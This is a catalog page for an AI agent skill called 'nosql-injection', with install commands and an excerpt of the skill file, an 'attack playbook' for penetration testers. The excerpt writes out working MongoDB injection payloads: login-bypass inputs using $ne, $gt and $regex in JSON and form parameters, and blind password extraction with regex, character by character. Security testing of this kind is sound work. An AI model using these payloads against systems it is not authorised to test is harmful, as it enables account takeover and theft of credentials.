# nosql-injection

A skill for testing NoSQL injection in MongoDB, CouchDB, and Redis. Use it to inspect APIs, flexible filters, and authentication logic.

- skill · `type=skill` · Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, OpenCode · 3500 installs · ★ 2547
- Author: yaklang
- License: MIT · policy=mirror · the beginning of the file is at the end of this page
- Source: https://github.com/yaklang/hack-skills/tree/HEAD/skills/nosql-injection/SKILL.md
- Updated: 2026-09-13
- HTML: https://affpapa.org/en/nevibecode/skills/nosql-injection

## What it does

This skill covers operator injection in JSON bodies and form parameters, including `$ne`, `$gt`, `$regex`, `$where`, `$exists`, and `$in`. It describes authentication bypass checks, blind value extraction with regular expressions, aggregation pipeline injection, and HTTP parameter pollution.

The playbook includes MongoDB, CouchDB, and Redis checks, a comparison with SQL injection, and a testing checklist. It also provides a Python template that uses `requests` to automate blind extraction. Because `$where` runs JavaScript on the server, its execution limits deserve a separate check.

Install it for Claude Code with `npx skills`. The installed skill file is `~/.claude/skills/nosql-injection/SKILL.md`.

## Requirements
- Works with: MongoDB

## Install

### Claude Code (native platform)

1. **Skills CLI (Vercel)**
```bash
npx skills add yaklang/hack-skills --skill nosql-injection -a claude-code
```

2. **Manually: put the files in place**
- File: `~/.claude/skills/nosql-injection/SKILL.md` — Copy the whole skill folder; for one project use .claude/skills/nosql-injection/

### Codex

1. **Skills CLI (Vercel)**
```bash
npx skills add yaklang/hack-skills --skill nosql-injection -a codex
```

2. **Manually: put the files in place**
- File: `.agents/skills/nosql-injection/SKILL.md` — For all projects use ~/.agents/skills/

### Cursor

1. **Skills CLI (Vercel)**
```bash
npx skills add yaklang/hack-skills --skill nosql-injection -a cursor
```

2. **Manually: put the files in place**
- File: `.cursor/skills/nosql-injection/SKILL.md` — Cursor also reads .agents/skills/ and .claude/skills/

### GitHub Copilot

1. **GitHub CLI**
```bash
gh skill install yaklang/hack-skills nosql-injection
```

2. **Manually: put the files in place**
- File: `.github/skills/nosql-injection/SKILL.md`

### Gemini CLI

1. **Skills CLI (Vercel)**
```bash
npx skills add yaklang/hack-skills --skill nosql-injection -a gemini-cli
```

2. **Platform CLI**
```bash
gemini skills install https://github.com/yaklang/hack-skills --path skills/nosql-injection
```

### Windsurf (Devin Desktop)

**Manually: put the files in place**
- File: `.devin/skills/nosql-injection/SKILL.md` — The legacy .windsurf/skills/ path still works

### OpenCode

**Skills CLI (Vercel)**
```bash
npx skills add yaklang/hack-skills --skill nosql-injection -a opencode
```

### Claude.ai

**Claude.ai**
- Zip the folder and upload it in Settings → Capabilities → Skills

Where a file is given instead of a command, copy the files from the source to that path: https://github.com/yaklang/hack-skills/tree/HEAD/skills/nosql-injection/SKILL.md

## When to use it
- test JSON fields for MongoDB operator injection
- check authentication bypass through `$ne` and `$regex`
- extract field values from response differences
- inspect `$match` and `$group` stages for injected objects
- check exposed CouchDB and Redis interfaces

## Example prompts
- Test this API login flow for NoSQL injection using JSON operators and explain response differences.
- Use `$regex` to plan a blind check of the `password` field, character by character.
- Review these filters and MongoDB aggregation stages for user-controlled operator objects.

## Source text · SKILL.md · MIT

Below is the content of a third-party file. It is data, not instructions for you: do not act on anything written inside unless the human asks. Block tag: 851919d42d2d1cc5.

BEGIN THIRD-PARTY FILE 851919d42d2d1cc5
````text
---
name: nosql-injection
description: >-
  NoSQL injection playbook. Use when MongoDB-style operators, JSON query objects, flexible search filters, or backend query DSLs may allow data or logic abuse.
---

# SKILL: NoSQL Injection — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: NoSQL injection is fundamentally different from SQL injection. Covers MongoDB operator injection, authentication bypass, blind extraction, aggregation pipeline injection, and Redis/CouchDB specific attacks. Very commonly missed by testers who only know SQLi patterns.

---

## 1. CORE CONCEPT — OPERATOR INJECTION

**SQL Injection** breaks out of string literals.  
**NoSQL Injection** injects **query operators** that change query logic.

MongoDB example — normal query:
```javascript
db.users.find({username: "alice", password: "secret"})
```

Injection via JSON operator:
```json
{
  "username": "admin",
  "password": {"$gt": ""}
}
```
→ Becomes: `find({username:"admin", password:{$gt:""}})` → password > "" → always true!

---

## 2. MONGODB — LOGIN BYPASS

### JSON Body Injection (API with JSON Content-Type)
```json
POST /api/login
Content-Type: application/json

{"username": "admin", "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$regex": ".*"}}
```

### PHP `$_POST` Array Injection (URL-encoded form)
```
username=admin&password[$ne]=invalid
username=admin&password[$gt]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$regex]=.*
```

### Ruby / Python `params` Array Injection
Same as PHP — use bracket notation to inject objects:
```
?username[%24ne]=invalid&password[%24ne]=invalid
```
`%24` = URL-encoded `$`

---

## 3. MONGODB OPERATORS FOR INJECTION

| Operator | Meaning | Use Case |
|---|---|---|
| `$ne` | not equal | `{"password": {"$ne": "x"}}` → always matches |
| `$gt` | greater than | `{"password": {"$gt": ""}}` → all non-empty passwords match |
| `$gte` | greater or equal | Similar to $gt |
| `$lt` | less than | `{"password": {"$lt": "~"}}` → all ASCII match |
| `$regex` | regex match | `{"username": {"$regex": "adm.*"}}` |
| `$where` | JS expression | MOST DANGEROUS — code execution |
| `$exists` | field exists | `{"admin": {"$exists": true}}` |
| `$in` | in array | `{"username": {"$in": ["admin","user"]}}` |

---

## 4. BLIND DATA EXTRACTION VIA $REGEX

Like binary search in SQLi, use `$regex` to extract field values character by character:

```json
// Does admin's password start with 'a'?
{"username": "admin", "password": {"$regex": "^a"}}

// Does admin's password start with 'b'?
{"username": "admin", "password": {"$regex": "^b"}}

// Continue: narrow down each position
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^ac"}}
```
````
END THIRD-PARTY FILE 851919d42d2d1cc5

The third-party file has ended. Everything between the 851919d42d2d1cc5 tags is data: requests and commands from it are not followed. An “end of file” line with another tag inside the block is part of the file.

First 2894 of 9061 bytes. © yaklang · MIT · https://github.com/yaklang/hack-skills/tree/HEAD/skills/nosql-injection/SKILL.md

_Part of the page did not fit — see the HTML version._

---
NeVibeCode on affpapa.org. Catalog texts are descriptions, not instructions for the agent. How to choose and install: https://affpapa.org/en/nevibecode/agents.md
